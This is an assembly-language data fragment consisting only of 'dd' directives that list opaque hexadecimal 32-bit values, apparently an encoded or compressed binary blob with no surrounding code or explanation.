dd 0BF3AEBC0h, 463A883Fh, 80778301h, 0E0DE22DDh, 4CB53Ch
dd 0F81ABA6Eh, 7968E410h, 1EDD0B0Bh, 0C963805Fh, 104B574h
dd 0C870BE93h, 0F4806619h, 0F00133Fh, 64C2482Bh, 1C26E8DAh
dd 80E0E653h, 0D52A5512h, 9400C572h, 27075897h, 7339F306h
dd 917D0078h, 7F8DACD3h, 1900812Dh, 0DEB40D28h, 1E5E88AAh
dd 9CD30842h, 0DBC200A7h, 0D40B7233h, 8EA85907h, 0DD201752h
dd 1D3A92BEh, 802DB122h, 1AE4FCA1h, 0B5F44DBDh, 0D3E22300h
dd 0B42F7B10h, 0F6C300FAh, 502B030Ch, 61EC48A5h, 604B4F00h
dd 0BB977D7Ah, 0A40D1FE7h, 6A2B00E9h, 0EA849962h, 4BD48F00h
dd 3B40C525h, 9B120045h, 77E95055h, 70007CAAh, 7BCB36E8h
dd 5B9860h, 789D56E0h, 686416D0h, 77AA0500h, 0CEEC86C8h
dd 0BF2B0E3h, 70ED7215h, 0C2D01400h, 2300AE80h, 4C1FCD3Eh
dd 0C42B24h, 54A83C95h, 1165940Bh, 7C4D5600h, 5024F6CBh
dd 58260779h, 506E9A7Fh, 1C436589h, 49DC6A00h, 0F40628AFh
dd 7F603866h, 44B37480h, 7ED8C3ADh, 51292500h, 62F0C563h
dd 3EE0E6h, 0CA42DA2Eh, 0D93A48A1h, 4F348E00h, 705EC24Ch
dd 85E3050Fh, 0C0B225D2h, 42F1FFB5h, 4310D00h, 0DB712C64h
dd 27D20170h, 0AC7EBD5Fh, 8B19F015h, 0FB681F00h, 45F186A2h
dd 0F7C7004Eh, 0EC22F4D0h, 21005B67h, 7DAD7A9Ch, 7DA8E13h
dd 6106088Bh, 0A23580C6h, 7F001E95h, 14B45690h, 0E80D7Ch
dd 9320A5E4h, 0D6DFE21Fh, 34175E00h, 46EE3128h, 4A830370h
dd 0E0445303h, 8BED9097h, 0FFEEA182h, 0CC950B00h, 52B2F149h
dd 0FDB90369h, 70E68BCBh, 0DEE4CA90h, 9C54F200h, 65E080C1h
dd 0C80C0082h, 0F18819BEh, 6B1D66CDh, 9A432BB8h, 0D01D22B4h
dd 0F0F71B9h, 650AC836h, 7246A440h, 0D6798D25h, 0ECBB0300h
dd 87D57B54h, 40F0068h, 6CC8426Ah, 138623Fh, 6B198063h
dd 0EDB45B71h, 7CEF0B58h, 0BD00B336h, 9E73B11Fh, 0A533D900h
dd 492E0D9Ah, 0EB0900A4h, 41B24B5Fh, 0CE02AB01h, 53E0871Ch
dd 0D1AE4098h, 81580038h, 0BD6E17BCh, 0F4E20434h, 0BB6F7C00h
dd 0FC40B478h, 0CD9103D8h, 0C77459EEh, 15CA34A0h, 0CF7F570Eh
dd 7EA2E00Eh, 386A3371h, 0E887E5D4h, 0C06F2B1Dh, 26DCB87Fh
dd 9CB3A400h, 0CF308F80h, 7067194h, 5E51C7CDh, 70A5C0A3h
dd 2300A114h, 907AED61h, 5CECADCEh, 0A90008A4h, 0C247E17Ch
dd 77008E79h, 65DE7D4h, 0E89AC79Fh, 5BEE71h, 0EF2B7003h
dd 106EBA85h, 81D20D00h, 84158225h, 12B600F7h, 581E28FBh
dd 29008788h, 3D54438h, 7520761h, 971339BCh, 0B20E6075h
dd 0B177EA93h, 68604800h, 0D2D7B4C9h, 0D3D1005Fh, 0B9E73ED9h
dd 7F002183h, 84275259h, 99FC0Dh, 25942CCEh, 7EF07A43h
dd 0EC000270h, 0B7FA8C8Dh, 9571A1h, 1D06308h, 3E0CD647h
dd 671DDB01h, 0B1EFAE9Bh, 766B6D0h, 0D1C8A385h, 0D79E203Ch
dd 5C00B879h, 0B2B4374Eh, 91CE31h, 260C7394h, 3D11493Bh
dd 0C122BB00h, 41F2504Eh, 0F7BC0028h, 9C2FD980h, 0F600C532h
dd 43AE7E7Fh, 78EB8456h, 5BD1006Fh, 7409402h, 30F91F4h
dd 1CBC9759h, 0FA1FFDC1h, 0E6E44C25h, 0FE7B3F9Ch, 926D00FBh
dd 9F761D0Ah, 523D0F9Bh, 0FC6E0989h, 4ECF0085h, 0D8CF83h
dd 0A458D420h, 98E2BFC9h, 0F8B0FB71h, 4AFF3900h, 5802B441h
dd 0AE4B00B1h, 0F13F5CF8h, 8D00C896h, 63070925h, 907897h
dd 91A55D4Eh, 0D4049CB0h, 20C73E00h, 0B181533Bh, 14DC3B7Bh
dd 44E13700h, 0D152CBC1h, 0A17F3000h, 8C00A85h, 8C500004h
dd 1CFD2A6h, 70B6DA3h, 811D0564h, 2A7C696Dh, 1283E0h, 4CF1B36Ch
dd 0DFAFA121h, 0A9981B00h, 0B78CF5E3h, 73DB1E02h, 74BA07B5h
dd 3F32101Fh, 5A004AF2h, 1335B483h, 75EC49h, 0C3DDA8E8h
dd 1D07A49Fh, 0B100B8B0h, 7CEBCDC7h, 0E16971h, 0AA8A904h
dd 486E8B7Eh, 15B31209h, 19DB00B1h, 0E79BB4h, 2BD5C3D1h
dd 3C9F08DCh, 411F6700h, 9E54DA49h, 0B1D60ED0h, 0C01D970Ch
dd 72D12BF4h, 33CB0DFh, 9DDA8062h, 1AE944A5h, 87C60021h
dd 0FD28D23Dh, 4700E0ADh, 2DD48E6Eh, 0E36A260h, 73F4B7AEh
dd 0ABFFFBA0h, 8B0309B4h, 80ED4C5Eh, 0B26D9007h, 0A90C00A3h
dd 2D471771h, 64FE3EC2h, 3C97B400h, 885E7530h, 1897B2Fh
dd 8CDB4F9Eh, 0F406D135h, 5B006611h, 0D2EA330Ah, 1E684E37h
dd 80D51EBBh, 0F7AFC21Ah, 0F21D5C7Bh, 37C02795h, 0A55943C0h
dd 1ADA002Ch, 8953AB18h, 9C00D23Eh, 49561BF7h, 3365720h
dd 3D54B9BAh, 6AD0148Dh, 9E00B3CBh, 0C510E6CFh, 1F2BE165h
dd 0D26F6D25h, 1E8900DDh, 0ED5A5040h, 0C1B9AB07h, 0FC3092F5h
dd 0B846DC48h, 0C0700Ch, 0F0652BD9h, 0F5401656h, 30F64D00h
dd 0D59021B3h, 2B5309F7h, 0FF00E9CCh, 0DEDA07C8h, 52FF9100h
dd 8992D91Ah, 55181CEFh, 316409Ah, 0E1DC58ECh, 6965C800h
dd 790AF150h, 0DFA001E6h, 814B2C9Fh, 0B58DD8F6h, 99723003h
dd 0B83739C6h, 0C8D6BCh, 0F3D16744h, 26D4F68Bh, 52450800h
dd 3C8F99BAh, 7266003Fh, 0E74EB076h, 0BE07B45Ah, 2D9F71C4h
dd 8B3C2EC0h, 0F65D007Bh, 329D19DCh, 0D000BDBEh, 3D7FBFE0h
dd 750A0CFCh, 0E6390FA7h, 0A0497768h, 0FE25A101h, 0B98C0EDh
dd 94FB6750h, 0E64BF4Ch, 213A7CDCh, 9939599Ch, 7A9219E4h
dd 866407FBh, 3005ECA4h, 0C731C165h, 3566D100h, 56E559E1h
dd 586306CEh, 0A8E8B860h, 67314500h, 553FC96Ah, 2E85F213h
dd 0E0B3DEh, 5025C095h, 910057B2h, 0E0DF9ECh, 0EC8DEA94h
dd 864C3978h, 0CB33B300h, 0BF3DF82Eh, 4EE55807h, 6C610773h
dd 95C0A99Ah, 0E8AC0E94h, 51403CA3h, 1E45AD41h, 0AE9EC304h
dd 0A5C1BA48h, 93D063F2h, 9AA7866h, 0FC465C01h, 2E7ADA00h
dd 5E8B21Ah, 0CB818700h, 4ED6990Eh, 18EA00E6h, 7B12D32Fh
dd 6800F7B8h, 0B48FAE75h, 0A070BAh, 9B20F56Ch, 0DCDD7186h
dd 46779503h, 0C1FE1553h, 0A17063ACh, 0C2BC3991h, 0C99DF000h
dd 0D50553BBh, 1407F87Fh, 4CCE723Eh, 0AD693870h, 0A17C003Dh
dd 0E91E33A0h, 0A90009BDh, 477AD48Ah, 4AC25Dh, 0C6863F2Ah
dd 6ADDBBF2h, 1452270Fh, 0CD024004h, 0D8A1F1h, 3E0873ABh
dd 7061C269h, 901FBE79h, 7680B26Ah, 97D0E982h, 0B32450B9h
dd 0C30300B8h, 2B67C67Dh, 8C03D16Dh, 808F4436h, 0C68E02h
dd 509BECEDh, 6F566E61h, 9E172400h, 91820EFBh, 698130FDh
dd 0CF1C9050h, 0DF3BB50Eh, 0EECC7A7h, 0E3E931F0h, 7947E9Fh
dd 0B36B851h, 0ABB6914Dh, 788160C2h, 18F9A41Fh, 0F4CF1907h
dd 0A66DE520h, 3014017Ch, 97A98826h, 0E4E06176h, 3D00A574h
dd 0AB4B4E07h, 1E9EDC6Ch, 80B32CA1h, 82DBF137h, 0BA17B936h
dd 14006BCFh, 429C2DF2h, 0CE9100DDh, 9A8312F5h, 1907FD46h
dd 18826362h, 20F70ED1h, 81B980F6h, 0C94D8Eh, 27D1F438h
dd 0AF1EE02Eh, 545D760Eh, 0A943078Bh, 2A40C187h, 96CD529h
dd 0AB7B1D58h, 27EA9680h, 9A0E96FAh, 40CD153Fh, 9F1E0A4h
dd 40AD0754h, 673AF9A1h, 0DD7BC01Ah, 1B005271h, 0F28DA7B3h
dd 0F5865Fh, 968C41BBh, 274A0878h, 0EA00E27Ch, 430ECC0Ch
dd 4524CAh, 0A4DE3DEEh, 16DA7787h, 0F5EB8300h, 0C08F130Ch
dd 377D1F32h, 5925002Ch, 7CB1AE2h, 67392801h, 9E699D68h
dd 1FEA2CD4h
dd 80E87BB6h, 0E3B802A1h, 81007EB9h, 9720E7B2h, 39E2C9D0h
dd 0A780510Fh, 932F1BACh, 920046FCh, 0A61EB9D9h, 15C55E1h
dd 0EFB51F66h, 0F08018BEh, 4F006D59h, 84D03620h, 869354h
dd 9427D50Ch, 0EFD2E6FAh, 8D004178h, 3498CC71h, 2CE2A261h
dd 2C05A6h, 6263F1C1h, 67587421h, 369E00EBh, 0B7376D5Ch
dd 61E001D9h, 40C39C13h, 2F30FC29h, 0DB70BB0Eh, 0AE7D60EDh
dd 1C1214EAh, 40EB7BBDh, 0AA5EB201h, 370EC91Dh, 201161DAh
dd 72222F41h, 0D5493D04h, 47922780h, 12625545h, 0ADAB9701h
dd 1464F5C4h, 39C0BEC0h, 0F600FB54h, 2AD63935h, 0DD008D89h
dd 0E533CC7Ch, 87EFB4h, 0F82C2B55h, 11E7EC32h, 0AB8A9F00h
dd 0B3D0241Ch, 60B0FEh, 2E4316Ah, 0A4179848h, 1FD42200h
dd 8890A0F1h, 0FE3A38CBh, 0F91D4487h, 0B5002BAAh, 0C307B48h
dd 809D4F3Ah, 4073F7C2h, 7E6BC0Eh, 88E056B9h, 0DFDDA065h
dd 0B70EEEB2h, 0EED0C40Ch, 9793E34Ch, 70B9E005h, 822100F8h
dd 45B7815Eh, 23010FD7h, 2DF94028h, 0E0D76EDFh, 3B54CD48h
dd 1100F115h, 5908F735h, 9003EB57h, 0C2128ADh, 0D84BC0D1h
dd 0B6DC006Dh, 0B50A51FAh, 337BF59Ch, 927E0D07h, 8150D313h
dd 71673h, 9A21E296h, 0A7480B3Ah, 0A2F6191Ch, 1FCE08C0h
dd 3CDE4Dh, 9071171Ah, 51BED30Bh, 4B26B60Eh, 29A04752h
dd 0BBB71A80h, 80FB0090h, 0ACFF088Fh, 8D583E70h, 0EFF3009Eh
dd 0DF958E23h, 0BD960057h, 593EA17h, 4008226h, 6764D262h
dd 7539E6Eh, 6A14FC1Ch, 48E9A08Bh, 4900CA63h, 0C129F8D6h
dd 3AC0AD77h, 7D0EC9h, 31D3D9DCh, 0B190C89Fh, 0A483533Dh
dd 0DE2002FAh, 4B0EFE0Fh, 3C75808Fh, 0D75188h, 0CA2BBE37h
dd 0C8C1F11Bh, 738C7400h, 7813098Bh, 0BAFD0057h, 0B432A179h
dd 0C900E2D3h, 1B87E75Fh, 1E1705FFh, 8093FB99h, 0D995ACB5h
dd 71D88D1h, 0B607B93Dh, 59D0D0FEh, 364AB3h, 3FC50C4Fh
dd 8D5EC67Ah, 0F315CE01h, 0F4AC124Bh, 747E30h, 0DC18057h
dd 2C25CA22h, 0E8AE2700h, 0E6D887Ch, 0DB1B00CBh, 0AC21534Ah
dd 2A008F2Eh, 0A32597C4h, 0C591AEh, 31889B9Ah, 0A7F435E8h
dd 0F6002A76h, 396C2C53h, 64CF95h, 0C559903Dh, 0AA819F45h
dd 0BC0EB976h, 257A6812h, 0B200C7A4h, 16619160h, 89EE62h
dd 24F1FB1Ch, 201252B3h, 15C4A00h, 0B2587ADh, 3FD00383h
dd 0DE27BEABh, 1BA35C00h, 3451CAE0h, 5680732h, 70E747F1h
dd 0AA63E445h, 7DFD7500h, 764F5FADh, 5004C725h, 33E3C0BAh
dd 20007AE6h, 17D73870h, 939D69h, 0DB1A6BEAh, 0D1A9A743h
dd 0B8CD3Ah, 4B6730A1h, 5AAD57h, 76CCF4E5h, 59502D28h
dd 4400087Ah, 0A7307E1Fh, 0E0367F5h, 54897DFCh, 22D97940h
dd 4200976Fh, 21DDE8F6h, 46B4D0h, 7C8C4BE4h, 9C485E51h
dd 25DE8307h, 0BF30FE4Ah, 354ADAFh, 0B1A5080Dh, 16C8D956h
dd 0B5000958h, 0BC358CC5h, 0D477F6h, 47265C7Bh, 10BA2015h
dd 0F0A83Eh, 0CBA605AFh, 5C8B46D0h, 0B4003F97h, 11D6E70Ch
dd 4400F028h, 0C89D7C9Ch, 77F3EBC4h, 0E8D5005Bh, 3CD2D6EFh
dd 0C57EFE4Eh, 0C70075E8h, 0B95E3140h, 35C9DE4h, 12B0FD44h
dd 0D6D8BFE8h, 0CE077EB6h, 0B9B7B834h, 2E4EBA50h, 29AF00FEh
dd 1D06A001h, 0EA054144h, 0C3BF38D4h, 77B9ECC0h, 0A1D704E7h
dd 0C03949AEh, 0AA0A9E16h, 21205B00h, 0E1A2DC35h, 5AEB00DDh
dd 8701F9A6h, 2200EED0h, 43FF36AEh, 69FB66h, 0D6D13347h
dd 48C7F55h, 25E77E00h, 0DD1C750Fh, 305E3FFCh, 1E6BFF03h
dd 0BD83C61h, 0F2042131h, 62C31D67h, 33920A80h, 0E9D4F7DEh
dd 8A93F34h, 0FF51A800h, 49F103B0h, 7F503202h, 0C098BD8Bh
dd 9D5C26h, 922F0B61h, 0E94AE51Ch, 0E3562501h, 5C3E3F63h
dd 0A95B0EBh, 0BF750060h, 410B39F0h, 2A16C830h, 2D1E74E4h
dd 7A995Eh, 23898D15h, 1688DBDDh, 47B66Bh, 3DD9A093h, 0BE000EBDh
dd 3B259034h, 1417C34Fh, 8E847C68h, 0A23CB402h, 9E608FCCh
dd 390E9146h, 78D94Eh, 4DFCADC2h, 0B3451F7Fh, 745D0C0Eh
dd 883887ECh, 9400F6DCh, 0E017FC8Bh, 0F0DF92h, 86DB63FEh
dd 6DF82A58h, 38282600h, 5E7B3FA7h, 0BDA40950h, 2100379Ah
dd 3EA3EF7Eh, 0B224D671h, 8004D34h, 5068FC1Eh, 0DA8807F0h
dd 0F0B9EB4Ch, 3885D870h, 92C97700h, 0F666C599h, 8D1F09AEh
dd 0C4812739h, 0F00CF7CAh, 87034EFCh, 0B07CA204h, 0C21DD859h
dd 480AECDAh, 0CC0291CFh, 797B4932h, 1BA6B3C0h, 58C3DC00h
dd 3776F4BDh, 8D4E007Dh, 6567B71Dh, 0A400F02Ch, 0E91F3614h
dd 0EA309309h, 0C30A0074h, 4E87BC31h, 0D771C6E7h, 0D252BE00h
dd 0F27005F9h, 0F981EC8h, 37FBC7D6h, 0BD278049h, 0FF0FBAECh
dd 0A0E1A5F4h, 0EB388C88h, 2C3A000Ah, 78914A63h, 0FDA0054Eh
dd 0A700D8E7h, 53D02D81h, 303D79Ah, 0A579E2C2h, 18E0D12Eh
dd 5107B91Ch, 0EC7B8E0Dh, 7C8DB1F0h, 0F11900BAh, 0F00840F6h
dd 0DF00256Fh, 0AE690C22h, 0EE9DA9EDh, 3F16099Fh, 0A183E50Fh
dd 14D0FCC1h, 0EA007FD7h, 66998136h, 0EF979CEh, 44B39008h
dd 3F983320h, 820034A9h, 0CC8E1CBDh, 6A53A5h, 8FEC2F57h
dd 63946B5Dh, 1B1FC500h, 753F2235h, 2F6E0F4Dh, 28607AF0h
dd 0D43264DCh, 3575C874h, 6205DB00h, 9B7E488h, 59E70F30h
dd 0AA203F72h, 4351EFAFh, 2B0782E8h, 75C405Ah, 0FAD21410h
dd 0CFA9001Fh, 80964D02h, 2F1D2A03h, 43437782h, 88B7E097h
dd 0A85B4Ch, 0C2515308h, 685242A3h, 0B50521F2h, 0CF4906Bh
dd 2FA7F280h, 3B0700F7h, 9FFD1438h, 4B0184Bh, 330F8677h
dd 0A09ACFD0h, 0EBB645FEh, 6ACD0046h, 4CBFB17Fh, 3C0EE5B9h
dd 80286324h, 257C3F3Bh, 9B0304A9h, 806F9E2Bh, 90690802h
dd 0CD4C4700h, 0FA8AC5C7h, 522F003Bh, 2942D52Eh, 480EEBB2h
dd 0C09934CFh, 6B1B827Ah, 300800DDh, 312E64B6h, 370069DEh
dd 0A5569A4Fh, 88BC80h, 83701ED6h, 4C143EA9h, 7C2DAD00h
dd 907F39C2h, 92100D2h, 0B8F1B14Eh, 9B010AC1h, 36F9AA62h
dd 0D160E731h, 77610073h, 7A15F621h, 0E203192Eh, 0AE65EA02h
dd 0E0CEA8F8h, 0F73F0064h, 9C3A9BF5h, 6E4B0EFh, 0D9189200h
dd 32FC150h, 67930015h, 0C341E9EBh, 0A300190Dh, 5D489A09h
dd 0C1A010h, 2847E14Dh, 97780351h, 0D7DA5700h, 7E0637B1h
dd 0BE3900E0h, 3C382A48h, 0F000E405h, 7ADE69D3h, 743352F6h
dd 7290072Ch, 201CF387h, 13540EE7h, 630ABC00h, 52E3C18Fh
dd 79754Ah, 4F5EB49h, 0F696DB6h, 0D59D1D12h, 3221B600h
dd 651267h, 25997972h, 0D698B2E6h, 0AE00E170h, 0B12E3F1Eh
dd 75B9C9h, 4C6C6FB4h, 0EA83E2F1h, 44A638h, 0D3357446h
dd 5C7B532Bh, 0C8006784h, 372CB804h, 2780C54h, 85FAA200h
dd 0BD3211ADh, 83F500D7h, 0AC0BF2Ah, 0AAF43F94h, 804AC53Dh
dd 0F370A982h, 253754h, 1ED75878h, 15653431h, 1A0DF700h
dd 9080F466h, 7E0985Bh, 0B96E0F0Bh, 47C0536Ah, 0A67242B8h
dd 0FD49BA00h, 365D9303h, 710C0364h, 2E436235h, 0AAD728F0h
dd 0FD222D0Bh, 74738779h, 503AE810h, 232C5CCAh, 0CE361601h
dd 217EBEE2h, 62268A52h, 1200A63Ch, 0E096F64Ch, 474E28Fh
dd 9D32D43h, 522E8022h, 5800EF75h, 2A8B36AAh, 3E6300Fh
dd 0F4A82E87h, 97A065C0h, 0B8005410h, 0FEE8C536h, 275EDB9h
dd 8CAB0983h, 10C030E3h, 0BA0BC2BEh, 3576B1h, 40B6E745h
dd 64F042h
dd 1A2F63DBh, 7EE57B4Bh, 17505400h, 8C9340FDh, 8D070379h
dd 0A16F64A6h, 0C1213B98h, 15A8F100h, 0B480B79Eh, 489D0150h
dd 6B823E02h, 0D82461D7h, 9F007292h, 3F1ACFC0h, 93C258h
dd 5116FDFCh, 70141DB8h, 4FE8F00h, 0AC33DE95h, 3F819047h
dd 0C980633Dh, 7ADCE1AAh, 0BE3CD82Fh, 0D9BC00ABh, 0A4A2AF17h
dd 51F91F67h, 167CC045h, 0BF2BCB54h, 0E67E3C00h, 0A0920388h
dd 715203ACh, 9FA4F95Ah, 0F7D04F8h, 58E1B600h, 89CB33F0h
dd 4D741FDDh, 55EEC02Fh, 35980A69h, 0CE17C000h, 66D80777h
dd 0BEB601AAh, 73F17E21h, 0DEE8D4A1h, 0F6C5BB00h, 801DA064h
dd 0D4D50093h, 404DBA6Dh, 0CD001FF5h, 0A349848Bh, 7DFECFh
dd 0B5769C57h, 0F4CEC891h, 0C5737A07h, 6B17E575h, 0E97D6770h
dd 7FE8002Ah, 90884462h, 0DF0FFD10h, 0EF3DBC37h, 0BFE38707h
dd 0BBB214A0h, 4B27008Fh, 87B37071h, 4A71E85Dh, 23A138h
dd 49CEB63Eh, 59845h, 0FD11B9E7h, 6A875ED5h, 9E02951Eh
dd 0AA0DFFC0h, 0CF3835h, 672AAF2Eh, 0D6627327h, 0CE908B0Eh
dd 0F4E8C0F9h, 1E58104h, 2F748698h, 0F14F50C4h, 54F1ECEAh
dd 96024900h, 0D6CC3246h, 0AC353A16h, 25BCCB00h, 5BD33CB6h
dd 0F0038E8h, 94E99AFh, 3F9AC89Bh, 2680717Bh, 0A22B391h
dd 5B00DFE9h, 7D57F018h, 0B34EF61h, 0A656DD19h, 50CBCC01h
dd 0F271C85Fh, 0DEB4F401h, 0A1D637FFh, 0E1C74C8h, 89A3F143h
dd 9932B8C3h, 716D1A88h, 7C34C00h, 3E03E9A2h, 0C7202C2Fh
dd 57990072h, 136CAB28h, 2DA25100h, 6AE2C689h, 15000E4h
dd 855A2EA4h, 0EE001FF6h, 0DDC3BB04h, 0B80870h, 407B83A7h
dd 69DA5B9Fh, 6188401h, 82CF1E19h, 67ECE5D9h, 818E0023h
dd 0B485FE86h, 4E07D545h, 0D1EE5A8Ah, 0BC71E80h, 5BB91C09h
dd 25B60011h, 4D1B7A1Fh, 693DDD26h, 87F97100h, 1D39B533h
dd 8F58B336h, 5EC03BD9h, 0E7CA6A3Ch, 166B8F0Fh, 5B142028h
dd 0E8361Ch, 0A1A7736Fh, 0A89570C6h, 0EAF25201h, 5A8D65A4h
dd 72F19E4h, 0FFDCC5DEh, 24F970B5h, 142CAAF2h, 0A700015Dh
dd 616B7592h, 91700DCh, 4FBE2D3h, 210006F0h, 0A1C6305Fh
dd 3B20A0Eh, 1544BB51h, 4271EBB8h, 500B39h, 4E7FA017h
dd 70DA9Eh, 6EC42E06h, 6AE4417Bh, 63005A73h, 0C2A9AEA7h
dd 78D6BC99h, 0CEF01D2h, 0C7EDC8BBh, 657CF8B9h, 3BE91A00h
dd 83F66D1Dh, 370300BAh, 8186A526h, 0FE00900Dh, 0F727FD71h
dd 0E1C4EF4h, 9444782Ah, 61CF1880h, 0B90E4AADh, 0F93EFBh
dd 543D4EE3h, 0ED2C924h, 80155907h, 1AEDCC38h, 0F70703B8h
dd 33563EC0h, 0ACD4EC20h, 0FB09Ah, 0A4F34D6Eh, 0FD24E3CEh
dd 0D7D0501h, 0E6F0AAE9h, 0B8FFFCCCh, 9DC426EEh, 5F383A5Dh
dd 8ACF12h, 0AA95AD2Dh, 0F100A7E7h, 5299B75Eh, 45C8779h
dd 5A09ED0Dh, 91D5C0D0h, 0A000F28Ch, 0E93B98E1h, 0F9ACE6Bh
dd 1CA5EBFCh, 5D5846E0h, 0A016BD22h, 0E2008F59h, 1FE9B0Bh
dd 10BC1DFFh, 6B3F8182h, 20798626h, 0F600916Ch, 51DB6342h
dd 0F06216h, 1E20C03Dh, 3C69E325h, 0FF2697B0h, 91D010Eh
dd 351D6540h, 10B9B8Dh, 0E786ED43h, 0DC9A89FCh, 161348F2h
dd 0D50E6D39h, 57E6E068h, 7F42A435h, 8B0D0018h, 0D1454A5Ah
dd 0A3005393h, 629E6739h, 1CD379F7h, 415BBC36h, 844A9FC3h
dd 0E876DDEEh, 6900E844h, 380B8BFAh, 28B23167h, 26BAFBA3h
dd 1254FEh, 0C08C24E4h, 4D7FD133h, 48082300h, 0AA42F1C8h
dd 69342462h, 2C1D00B7h, 0E03AD511h, 88091AF0h, 80236F02h
dd 9F9D38F0h, 0B56B037Ch, 46C4BF01h, 69BEFC00h, 0BC6FA3FEh
dd 3DD0EB73h, 0FD1F00B0h, 5B529DD6h, 0CD00FA0Fh, 0E486922Bh
dd 0F87C41h, 0CCB4E893h, 0C1B81618h, 3CBC635Ch, 3D8300FBh
dd 0B9EBCA20h, 806B0042h, 52FA233Ch, 0D9B0B731h, 4C979BA0h
dd 0E4A49200h, 64D849CBh, 0AC891895h, 0B33058A1h, 76826A00h
dd 94462CEFh, 744B1E31h, 330A8016h, 0EB135F54h, 59806603h
dd 925B4DD4h, 292240E9h, 0D1840076h, 0F956247Bh, 9D1DF641h
dd 58C0542Eh, 81550767h, 0F05C765Dh, 0B6C80089h, 7EA99728h
dd 95033F13h, 6D29B9E0h, 3CA598C9h, 24891ECAh, 4FF900D7h
dd 0EF81990Eh, 60D1D300h, 0E3A9C368h, 0C77A94h, 4439EAB2h
dd 0F15341E1h, 0DB6C7900h, 65C6E24Ch, 0B6B70006h, 0B5299D75h
dd 4500307Ch, 20679EF6h, 4E92D8Dh, 23C7043Eh, 171080D4h
dd 961CAAA4h, 0A8002959h, 0D8FD4C68h, 7F3A00BDh, 76A08833h
dd 4100FF47h, 23EA3ECFh, 7D4FD7h, 0E366B27h, 0D6DDC8A4h
dd 46559E00h, 0D028A169h, 94BD3C74h, 334E4A0Eh, 534B5021h
dd 9261F672h, 537C86Fh, 0E4791700h, 0F6B74C2Ch, 622700E1h
dd 0D645ADFAh, 8800A3BBh, 5705D715h, 28FC3Bh, 4FE86C7Eh
dd 0F2BBD4B8h, 0B501EEE2h, 0AE5AA00Bh, 93FF204Ah, 0B12DA0BDh
dd 259C0164h, 3EE33BEAh, 11BCC435h, 5B7F8500h, 6222B69Eh
dd 0EFA90013h, 0B583B0FFh, 8DE47231h, 0D44E0B0Eh, 1F3C869Dh
dd 0D83E0058h, 48776715h, 0BC00437Bh, 2868762Dh, 0EC5E4C83h
dd 3B1807D3h, 0D02B6A0Bh, 0FFDF0915h, 0DB4A2C17h, 278EEC00h
dd 1E79DA47h, 0CE515836h, 0FDA0978Ah, 0D8FBC466h, 0EFF73Dh
dd 0B6E75E0Ch, 7C98CAh, 0A23262E8h, 6C437EC6h, 0C59B9418h
dd 7A63C8Ah, 70602BE6h, 0C3AB5581h, 0DCC04141h, 0DD00A1F5h
dd 0E368090Ah, 1CDCFD8h, 0EF4CB25Ah, 0F4237D69h, 91038030h
dd 759478DBh, 6587E8D4h, 0BD38C07Ch, 33305969h, 47D8600h
dd 6BB24CBEh, 0F2A2E60Fh, 481400BDh, 640A53DFh, 0BA3BB642h
dd 0B82E8080h, 6E700C3Bh, 0A50609CEh, 2AD69146h, 21DC400h
dd 0BE084DDh, 4270A83Ch, 3150E680h, 1900EB41h, 24A6ACBAh
dd 0A04C1Dh, 0FF3D8BA9h, 0EEFC7FFBh, 9FD0F201h, 0A6597B5h
dd 38476CFCh, 7D80281Dh, 0EDAE51EAh, 207F3007h, 0E400E2E4h
dd 81B585D0h, 7D0D458Bh, 7B2C03E5h, 876855B8h, 82A46FA0h
dd 98145Ch, 62319153h, 1C7EB98h, 0EE75972Dh, 0FFA03936h
dd 450CABA1h, 0C07E1CAEh, 59481230h, 61078A3Ah, 2C18F6CAh
dd 0E46682B0h, 0B17E73h, 0C4C7FEF5h, 0FD3B631Eh, 49EF2B00h
dd 4BD40A23h, 29120003h, 6308FB01h, 610115FCh, 0E1921170h
dd 90CCA2FEh, 670B0FB7h, 0BAA04089h, 0EC9A25E2h, 87003678h
dd 0F75A85BFh, 7508DF67h, 0C0310002h, 7BD4CA4h, 0FA265BE2h
dd 0A91C2B7Dh, 2D527C82h, 16EFC0CDh, 5E620505h, 810C117Fh
dd 0E8C96449h, 8100678Ch, 2C4BA67Dh, 0E4D6A98Dh, 0D34C00F3h
dd 6BAADC43h, 0D20067BFh, 9F322ACFh, 0EEFAC1h, 7EF8AF7Ch
dd 4093C80Eh, 4E1A6900h, 794FEA75h, 453D000Fh, 0F8BB6F74h
dd 8E07DBE9h, 174A7A98h, 4B77EC10h, 560900B4h, 6858E4D5h
dd 0B700B2DDh, 0BD9DD9B0h, 8B65FCh, 571CA3D1h, 96EBAE52h
dd 4A0035FCh, 71D4C7E6h, 0C7C93C7Fh, 0B5CAC3B2h, 62FC8017h
dd 2D000893h, 8C51A087h, 60AD5234h, 3216C8C2h, 12017F74h
dd 8B80EEBEh, 9DDCF987h, 575A00A6h, 0B413E76Bh, 4E00B5DCh
dd 1030A28h, 0D13868h, 5FA7461Ah, 0D489EC3h, 8A03BFE2h
dd 6236349Bh, 59E0CF03h, 3F2547h, 0CB61DA65h, 0B6BCB966h
dd 0B1F3D300h, 0D620D80Dh, 0EA697250h, 6CE40044h, 95E0EC36h
dd 92001BCBh, 0E8F44514h, 3D09BF1h, 0AD9FB191h, 34DF4139h
dd 0A5FC005Dh, 3A960A1Bh, 18003C4h, 83DFA69Ch, 2E00E2DDh
dd 29A5CF0Dh, 1C227C6h
dd 0CAD7C4DEh, 203A5241h, 0D3000709h, 0EB6A0487h, 433E8Ah
dd 982A0182h, 0B1BEAAFEh, 14F1EE00h, 0E8CB74E0h, 0EDC500B7h
dd 0C2B25119h, 8000D9B4h, 160DD811h, 7313A3h, 0F44F9FE7h
dd 0B827E096h, 0FC0A3600h, 0CC625CADh, 615400DEh, 0B9597304h
dd 0D81E3AE0h, 24407B1Fh, 2858143Dh, 0E29B00EEh, 421932E5h
dd 7307980Bh, 0F8FB8102h, 0F7899F70h, 0CFC80054h, 51BB7EDDh
dd 5C488F87h, 921C0552h, 2480218Ch, 0C86A68h, 466F3267h
dd 0DFC29B1h, 0BA699500h, 8D12EE83h, 0FBC50EF7h, 84601005h
dd 6FBB0E5Fh, 7086C203h, 98BC66A5h, 2E8AB7h, 3B069E7Eh
dd 34CD5602h, 712F5916h, 9699F404h, 8CD800FFh, 88041015h
dd 0A1056C01h, 0EB4F1AD6h, 1845D4h, 4EE7E9FBh, 3C24F6DDh
dd 3B275Ch, 0ADACD189h, 9AF377h, 1B8BCC25h, 3E07669Ch
dd 20BCEC00h, 937B8A6h, 4C8F74D8h, 3F1E398Ah, 0C450008Dh
dd 0BAA5A760h, 9AE44278h, 90051472h, 6357BF33h, 4E2D8280h
